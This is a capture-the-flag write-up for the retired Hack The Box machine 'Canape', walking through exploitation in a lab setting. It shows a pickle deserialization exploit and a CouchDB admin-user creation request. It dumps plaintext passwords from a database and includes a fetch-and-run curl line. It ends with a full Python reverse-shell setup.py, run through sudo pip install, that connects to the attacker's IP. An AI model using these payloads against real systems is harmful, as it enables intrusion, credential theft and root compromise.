This is the write-up for the box Canape that got retired at the 15th September 2018. My IP address was 10.10.14.21 while I did this.
Let's put this in our hosts file:
10.10.10.70 canape.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/canape.nmap 10.10.10.70
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
On the web page there is a custom developed "Simpsons Fan Site" where it is possible to submit a quote to the server:
In the HTML source code is a comment that may be relevant:
<!-- c8a74a098a60aaea1af98945bd707a7eab0ff4b0 - temporarily hide check
<li class="nav-item">
<a class="nav-link" href="/check">Check Submission</a>
</li>
-->
When browsing to /check, it responses with HTTP code 405 Method Not Allowed. Changing the method to POST then responses with HTTP code 400 Bad Request.
The enumeration with Nmap found a /.git repository and a subdomain. This subdomain is also specified in /.git/config where the repository lays and can be cloned from:
git clone http://git.canape.htb/simpsons.git
This seems to be the backend code of the website written in Python. When looking at the history of this git repository, it shows that there was a vulnerability in one of the commits:
git log
commit c8a74a098a60aaea1af98945bd707a7eab0ff4b0
Author: Homer Simpson <homerj0121@outlook.com>
Date: Mon Jan 15 18:46:30 2018 -0800
temporarily hide check due to vulerability
Lets see the differences between the vulnerable version and the current one:
git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0
It uses the Python Pickle module which is not secure and can be abused to execute arbitrary code. I created a script to exploit this, that can be found in this repository:
python canape_exploit-pickle.py
After executing the script, the listener on my IP and port 9001 starts a reverse shell session as www-data.
To enumerate the box, it is a good idea to run any Linux Enumeration Script to get an attack surface:
curl 10.10.14.21 | LinEnum.sh
After analyzing the output, it becomes clear that the process CouchDB is running as root and homer:
root 720 0.0 0.0 4240 644 ? Ss 06:59 0:00 runsv couchdb
root 721 0.0 0.0 4384 668 ? S 06:59 0:00 svlogd -tt /var/log/couchdb
homer 722 0.3 3.3 649340 33504 ? Sl 06:59 0:28 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bin/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
The command netstat -alnp
shows the listening ports and CouchDB runs by default on port 5984:
curl 127.0.0.1:5984
# Output
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
The CouchDB API Reference explains the information to get from the database. Lets output all database names:
curl 127.0.0.1:5984/\_all_dbs
# Output
["\_global_changes","\_metadata","\_replicator","\_users","passwords","simpsons"]
Now it is possible to get the database contents:
curl 127.0.0.1:5984/simpsons/\_all_docs
# Output
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
curl 127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
# Output
{"\_id":"f0042ac3dc4951b51f056467a1000dd9","\_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
This is the database that holds the quotes from the web page. The passwords database responses that we are not authorized to access it:
curl 127.0.0.1:5984/passwords/
# Output
{"error":"unauthorized","reason":"You are not authorized to access this db."}
Lets look for vulnerabilities in CouchDB 2.0.0:
searchsploit couchdb
There is a Apache CouchDB < 2.1.0 - Remote Code Execution vulnerability, which with it is possible to create a new user.
First the following curl
command has to be sent to the box to the local CouchDB service:
curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:newuser'
--data-binary '{
"type": "user",
"name": "newuser",
"roles": ["\_admin"],
"roles": [],
"password": "password"
}'
It was successful and created the user newuser:
{"ok":true,"id":"org.couchdb.user:newuser","rev":"1-d9e411349288f7c530246df5e2d3b09a"}
Now accessing the database passwords with authentication:
curl --user 'newuser:password' 127.0.0.1:5984/passwords/\_all_docs
# Output
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
Output all four passwords one by one:
curl --user 'oops:password' 127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
(...)
This leaves us with some interesting results
_{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}_
The most important one is the SSH password "0B4jyA0xtytZi7esBNGp" and as there is only one user called homer, we can probably switch to that user:
su homer
Lets look at the sudo
privileges of homer:
sudo -l
Matching Defaults entries for homer on canape:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
This user can run pip install
, which installs Python modules, as root. So creating a malicious Python script to execute that with pip
will escalate privileges to root.
Creating a Python script (setup.py) that starts a reverse shell:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.21",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Executing the script with root privileges:
sudo pip install .
After executing the command, the listener on my IP and port 9002 starts a reverse shell as root!